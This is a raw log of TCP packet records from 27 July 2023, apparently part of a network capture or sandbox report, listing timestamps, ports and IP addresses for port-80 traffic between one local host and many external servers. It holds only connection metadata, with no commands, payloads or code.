Jul 27, 2023 21:52:49.589957952 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589984894 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589993000 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590001106 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590038061 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590153933 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590193033 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590193987 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590230942 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590310097 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590353966 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590446949 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590485096 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590528965 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590572119 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590639114 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590678930 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590744972 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590783119 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590878010 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.590920925 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.590970993 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.591010094 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.591139078 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.591161013 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.591187954 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.591212988 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883441925 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883524895 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883577108 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883590937 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883621931 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883630991 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883644104 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883697033 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883699894 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883750916 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883765936 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883820057 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.883910894 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.883982897 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884046078 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884098053 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884102106 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884151936 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884202003 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884253979 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884366035 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884419918 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884557962 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884607077 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884614944 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884665012 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884736061 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884782076 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884784937 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884830952 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884882927 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.884932041 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.884987116 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885045052 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885096073 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885154963 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885236025 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885287046 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885354042 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885415077 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885423899 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885478973 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885528088 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885585070 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885662079 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885711908 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885771036 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885821104 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885870934 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885920048 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.885934114 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.885982037 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886066914 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886116028 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886214972 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886264086 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886328936 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886388063 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886389017 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886450052 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886490107 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886547089 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886631012 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886686087 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886749983 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886801958 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.886873960 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.886924982 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887029886 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887084007 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887109995 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887151003 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887155056 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887211084 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887293100 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887345076 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887357950 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887413979 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887461901 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887511969 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887655020 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887712955 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887722969 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887788057 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887828112 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887891054 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.887927055 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.887991905 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888060093 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888113976 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888132095 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888181925 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888323069 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888365984 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888390064 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888417006 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888509035 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888561964 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888566017 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888612032 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.888693094 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.888772011 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.891804934 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.891850948 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.891891003 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.891920090 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.902924061 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.902992964 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903033972 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903065920 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903217077 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903270960 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903320074 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903368950 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903501987 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903548002 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903553009 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903600931 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903649092 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903700113 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903824091 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.903877974 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.903966904 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904020071 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904074907 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904129982 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904179096 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904231071 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904362917 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904412985 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904422045 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904464960 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904467106 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904515028 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904575109 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904624939 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904639959 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904691935 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904771090 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904824018 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.904834986 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.904889107 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905051947 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905101061 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905109882 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905153990 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905206919 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905258894 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905319929 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905374050 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905386925 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905437946 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905491114 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905543089 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905611038 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905663013 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905725002 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905777931 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.905875921 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.905927896 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906027079 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906074047 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906084061 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906127930 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906172991 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906228065 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906244993 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906295061 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906413078 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906470060 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906486988 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906547070 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.906552076 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.906604052 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:50.017231941 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.032170057 CEST	80	49771	66.94.119.160	192.168.2.4
Jul 27, 2023 21:52:50.032246113 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:50.156455040 CEST	49787	80	192.168.2.4	5.196.166.214
Jul 27, 2023 21:52:50.184494019 CEST	80	49786	103.224.212.221	192.168.2.4
Jul 27, 2023 21:52:50.184614897 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.185456991 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.196635008 CEST	80	49787	5.196.166.214	192.168.2.4
Jul 27, 2023 21:52:50.196751118 CEST	49787	80	192.168.2.4	5.196.166.214
Jul 27, 2023 21:52:50.198424101 CEST	49787	80	192.168.2.4	5.196.166.214
Jul 27, 2023 21:52:50.240000010 CEST	80	49787	5.196.166.214	192.168.2.4
Jul 27, 2023 21:52:50.240027905 CEST	80	49787	5.196.166.214	192.168.2.4
Jul 27, 2023 21:52:50.240083933 CEST	49787	80	192.168.2.4	5.196.166.214
Jul 27, 2023 21:52:50.240128994 CEST	49787	80	192.168.2.4	5.196.166.214
Jul 27, 2023 21:52:50.372344017 CEST	80	49786	103.224.212.221	192.168.2.4
Jul 27, 2023 21:52:50.372373104 CEST	80	49786	103.224.212.221	192.168.2.4
Jul 27, 2023 21:52:50.372441053 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.372441053 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.387258053 CEST	49786	80	192.168.2.4	103.224.212.221
Jul 27, 2023 21:52:50.401802063 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.418154001 CEST	80	49788	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:50.418289900 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.434355021 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.450591087 CEST	80	49788	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:50.460715055 CEST	80	49788	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:50.460880995 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.512432098 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.532754898 CEST	80	49788	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:50.532854080 CEST	49788	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:50.554344893 CEST	80	49786	103.224.212.221	192.168.2.4
Jul 27, 2023 21:52:51.049361944 CEST	80	49773	122.128.109.107	192.168.2.4
Jul 27, 2023 21:52:51.049509048 CEST	49773	80	192.168.2.4	122.128.109.107
Jul 27, 2023 21:52:52.744287968 CEST	80	49780	165.227.252.190	192.168.2.4
Jul 27, 2023 21:52:52.744374037 CEST	49780	80	192.168.2.4	165.227.252.190
Jul 27, 2023 21:52:54.946722031 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:54.948156118 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:54.948429108 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:54.955182076 CEST	49792	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:54.960297108 CEST	49793	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:52:54.962486029 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:54.971389055 CEST	80	49792	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:54.971492052 CEST	49792	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:54.971834898 CEST	49792	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:54.979913950 CEST	80	49789	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:54.979996920 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:54.980617046 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:54.980850935 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:54.985703945 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:54.987849951 CEST	80	49792	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:54.996985912 CEST	80	49795	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:54.997076988 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:54.997411966 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:55.000953913 CEST	80	49792	172.67.208.67	192.168.2.4
Jul 27, 2023 21:52:55.001046896 CEST	49792	80	192.168.2.4	172.67.208.67
Jul 27, 2023 21:52:55.004436016 CEST	80	49796	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:55.004537106 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:55.013415098 CEST	80	49795	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:55.013813972 CEST	80	49789	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:55.013912916 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:55.049740076 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:55.049822092 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.052592039 CEST	80	49791	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:55.052710056 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:55.058000088 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:55.058501959 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:55.068608999 CEST	80	49796	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:55.068809032 CEST	80	49796	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:55.068887949 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:55.091487885 CEST	80	49789	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:55.091850996 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:55.095340014 CEST	80	49795	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:55.095432997 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:55.102086067 CEST	80	49794	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.102168083 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.135966063 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:55.155051947 CEST	80	49796	192.124.249.20	192.168.2.4
Jul 27, 2023 21:52:55.155188084 CEST	49796	80	192.168.2.4	192.124.249.20
Jul 27, 2023 21:52:55.162626028 CEST	80	49791	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:55.163368940 CEST	80	49791	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:55.163449049 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:55.184556007 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.214858055 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.215013981 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.247550011 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:55.248482943 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:55.255260944 CEST	49798	80	192.168.2.4	118.27.125.181
Jul 27, 2023 21:52:55.263101101 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:55.263870955 CEST	80	49795	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:55.308336973 CEST	80	49797	206.191.152.37	192.168.2.4
Jul 27, 2023 21:52:55.308446884 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.312704086 CEST	49797	80	192.168.2.4	206.191.152.37
Jul 27, 2023 21:52:55.333159924 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:55.334155083 CEST	80	49795	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:55.334227085 CEST	49795	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:55.364959955 CEST	80	49799	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:55.365057945 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:55.366049051 CEST	49800	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:55.366954088 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:55.367568970 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.367717981 CEST	80	49791	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:55.367799044 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:55.369709015 CEST	80	49794	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.380506992 CEST	80	49800	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:55.380605936 CEST	49800	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:55.383567095 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.383663893 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.390388012 CEST	49800	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:55.390420914 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.391469002 CEST	80	49794	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.391491890 CEST	80	49794	54.209.32.212	192.168.2.4
Jul 27, 2023 21:52:55.391573906 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.391611099 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.403670073 CEST	80	49799	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:55.403702021 CEST	80	49799	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:55.403719902 CEST	80	49799	213.186.33.17	192.168.2.4
Jul 27, 2023 21:52:55.403742075 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:55.403768063 CEST	49799	80	192.168.2.4	213.186.33.17
Jul 27, 2023 21:52:55.404844046 CEST	80	49800	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:55.406434059 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.414113998 CEST	49794	80	192.168.2.4	54.209.32.212
Jul 27, 2023 21:52:55.416872978 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.416903019 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.416928053 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.416941881 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.416951895 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.416973114 CEST	80	49801	172.67.73.176	192.168.2.4
Jul 27, 2023 21:52:55.416984081 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.417112112 CEST	49801	80	192.168.2.4	172.67.73.176
Jul 27, 2023 21:52:55.451596975 CEST	80	49800	34.149.87.45	192.168.2.4
Jul 27, 2023 21:52:55.452028036 CEST	49800	80	192.168.2.4	34.149.87.45
Jul 27, 2023 21:52:55.481528997 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:55.516556025 CEST	80	49790	59.106.19.204	192.168.2.4
